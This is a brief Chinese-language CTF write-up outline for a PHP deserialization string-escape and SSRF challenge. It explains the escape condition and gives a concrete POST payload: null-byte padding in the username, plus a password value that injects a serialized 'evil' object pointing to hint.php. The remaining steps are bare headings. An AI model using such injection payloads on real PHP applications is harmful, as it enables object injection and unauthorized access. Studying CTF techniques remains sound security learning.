可以看这篇文章
考点：PHP序列化逃逸+ssrf
1、 审代码
2、 PHP反序列化字符串逃逸的条件：先进行序列化，再进行字符串替换。
所以需要反序列化出一个evil()类。而字符串逃逸可以。
浅析php反序列化字符串逃逸
3、 思路
4、 payload
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
5、 base64解码
6、 访问
7、 ssrf
